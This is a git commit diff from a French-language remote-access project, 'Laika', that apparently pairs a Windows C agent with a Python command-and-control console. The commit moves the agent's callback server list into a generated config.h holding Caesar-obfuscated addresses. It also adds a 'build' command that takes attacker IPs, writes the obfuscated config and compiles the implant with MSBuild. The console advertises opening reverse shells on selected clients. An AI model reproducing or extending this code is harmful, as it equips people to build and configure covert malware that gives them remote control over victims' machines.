build agent ajouté
This commit is contained in:
@@ -158,6 +158,7 @@
|
|||||||
<ClCompile Include="utils.c" />
|
<ClCompile Include="utils.c" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
|
<ClInclude Include="config.h" />
|
||||||
<ClInclude Include="resolve_apis.h" />
|
<ClInclude Include="resolve_apis.h" />
|
||||||
<ClInclude Include="utils.h" />
|
<ClInclude Include="utils.h" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
|
|||||||
@@ -7,6 +7,9 @@
|
|||||||
<Filter Include="Libs">
|
<Filter Include="Libs">
|
||||||
<UniqueIdentifier>{9e95c751-2cb6-4c1e-9f06-96b14532a979}</UniqueIdentifier>
|
<UniqueIdentifier>{9e95c751-2cb6-4c1e-9f06-96b14532a979}</UniqueIdentifier>
|
||||||
</Filter>
|
</Filter>
|
||||||
|
<Filter Include="Config">
|
||||||
|
<UniqueIdentifier>{21b436ca-1cf6-4e3b-b4af-31279e56caf5}</UniqueIdentifier>
|
||||||
|
</Filter>
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ClCompile Include="main.c">
|
<ClCompile Include="main.c">
|
||||||
@@ -26,5 +29,8 @@
|
|||||||
<ClInclude Include="resolve_apis.h">
|
<ClInclude Include="resolve_apis.h">
|
||||||
<Filter>Libs</Filter>
|
<Filter>Libs</Filter>
|
||||||
</ClInclude>
|
</ClInclude>
|
||||||
|
<ClInclude Include="config.h">
|
||||||
|
<Filter>Config</Filter>
|
||||||
|
</ClInclude>
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
</Project>
|
</Project>
|
||||||
3
Laika/config.h
Normal file
3
Laika/config.h
Normal file
@@ -0,0 +1,3 @@
|
|||||||
|
char* fallback_servers[1] = {
|
||||||
|
"=3=3=3=",
|
||||||
|
};
|
||||||
@@ -2,6 +2,7 @@
|
|||||||
#include <shlobj_core.h>
|
#include <shlobj_core.h>
|
||||||
#include <wininet.h>
|
#include <wininet.h>
|
||||||
#include "utils.h"
|
#include "utils.h"
|
||||||
|
#include "config.h"
|
||||||
#include "resolve_apis.h"
|
#include "resolve_apis.h"
|
||||||
|
|
||||||
#define Sleep_TIME 30
|
#define Sleep_TIME 30
|
||||||
@@ -106,18 +107,12 @@ void SendShellEndedSignal(SOCKET sock) {
|
|||||||
|
|
||||||
#define FALLBACK_SERVERS 4
|
#define FALLBACK_SERVERS 4
|
||||||
|
|
||||||
char* fallback_servers[4];
|
|
||||||
int serv = -1;
|
int serv = -1;
|
||||||
int main() {
|
int main() {
|
||||||
InitApis();
|
InitApis();
|
||||||
|
|
||||||
Message();
|
Message();
|
||||||
|
|
||||||
fallback_servers[0] = CAESAR_DECRYPT("6>736;=3638:");
|
|
||||||
fallback_servers[1] = CAESAR_DECRYPT("");
|
|
||||||
fallback_servers[2] = CAESAR_DECRYPT("");
|
|
||||||
fallback_servers[3] = CAESAR_DECRYPT("6>736;=36397");
|
|
||||||
|
|
||||||
Tmemset memset = Api.memset;
|
Tmemset memset = Api.memset;
|
||||||
|
|
||||||
wchar_t wtext[20];
|
wchar_t wtext[20];
|
||||||
@@ -147,7 +142,7 @@ retry:
|
|||||||
if (serv > FALLBACK_SERVERS - 1) {
|
if (serv > FALLBACK_SERVERS - 1) {
|
||||||
serv = 0;
|
serv = 0;
|
||||||
}
|
}
|
||||||
server.sin_addr.s_addr = Api.inet_addr(fallback_servers[serv]);
|
server.sin_addr.s_addr = Api.inet_addr(CAESAR_DECRYPT(fallback_servers[serv]));
|
||||||
|
|
||||||
//Create socket
|
//Create socket
|
||||||
sock = Api.socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
sock = Api.socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||||
|
|||||||
@@ -120,6 +120,7 @@ def main() -> None :
|
|||||||
print("select <ID> : sélectionne le client avec lequel intéragir")
|
print("select <ID> : sélectionne le client avec lequel intéragir")
|
||||||
print("deselect : désélectionne le client précédemment séléctionné avec \"select\"")
|
print("deselect : désélectionne le client précédemment séléctionné avec \"select\"")
|
||||||
print("shell : ouvre un reverse shell dans le client précédemment séléctionné avec \"select\"")
|
print("shell : ouvre un reverse shell dans le client précédemment séléctionné avec \"select\"")
|
||||||
|
print("build : build un client")
|
||||||
print("")
|
print("")
|
||||||
|
|
||||||
elif cmd == "exit" :
|
elif cmd == "exit" :
|
||||||
@@ -129,7 +130,39 @@ def main() -> None :
|
|||||||
|
|
||||||
elif cmd == "clear" :
|
elif cmd == "clear" :
|
||||||
ban()
|
ban()
|
||||||
|
|
||||||
|
elif cmd == "build" :
|
||||||
|
print("")
|
||||||
|
nb_fallbacks = input("Nombre de serveurs de fallback : ")
|
||||||
|
|
||||||
|
if not nb_fallbacks.isdigit() or int(nb_fallbacks) < 0 :
|
||||||
|
print(f"\"{nb_fallbacks}\" n'est pas un nombre valide.")
|
||||||
|
continue
|
||||||
|
|
||||||
|
ips = []
|
||||||
|
for i in range(1, int(nb_fallbacks)+1) :
|
||||||
|
while True :
|
||||||
|
s_ip = input(f"IP du serveur {i} : ")
|
||||||
|
if "." in s_ip : #technique de shlag mais un nom de domaine peut pas être vérifié avec socket du coup on check juste le "."
|
||||||
|
ips.append(CAESAR(s_ip))
|
||||||
|
break
|
||||||
|
|
||||||
|
print("")
|
||||||
|
print("Écriture de la config...")
|
||||||
|
with open("../Laika/config.h", "w") as config :
|
||||||
|
config.write("char* fallback_servers["+nb_fallbacks+"] = {\n")
|
||||||
|
for ip in ips :
|
||||||
|
config.write(f"\t\"{ip}\",\n")
|
||||||
|
config.write("};")
|
||||||
|
print("Config écrite")
|
||||||
|
|
||||||
|
print("")
|
||||||
|
print("Compilation de l'agent..")
|
||||||
|
vs_path = os.popen("\"%ProgramFiles(x86)%/Microsoft Visual Studio/Installer/vswhere.exe\" -nologo -latest -property installationPath").read().replace("\n","") #https://stackoverflow.com/questions/46223916/msbuild-exe-not-found-cmd-exe
|
||||||
|
cmd_line = vs_path + "\\Msbuild\\Current\\Bin\\MSBuild.exe"
|
||||||
|
|
||||||
|
os.system("\""+cmd_line+"\" ../Laika /p:Configuration=Release;Platform=x86")
|
||||||
|
|
||||||
elif cmd == "clients" :
|
elif cmd == "clients" :
|
||||||
print("")
|
print("")
|
||||||
x = PrettyTable()
|
x = PrettyTable()
|
||||||
@@ -185,4 +218,4 @@ def main() -> None :
|
|||||||
else :
|
else :
|
||||||
print("Commande non reconnue, \"help\" pour afficher la liste des commandes.")
|
print("Commande non reconnue, \"help\" pour afficher la liste des commandes.")
|
||||||
|
|
||||||
main()
|
main()
|
||||||
|
|||||||
Reference in New Issue
Block a user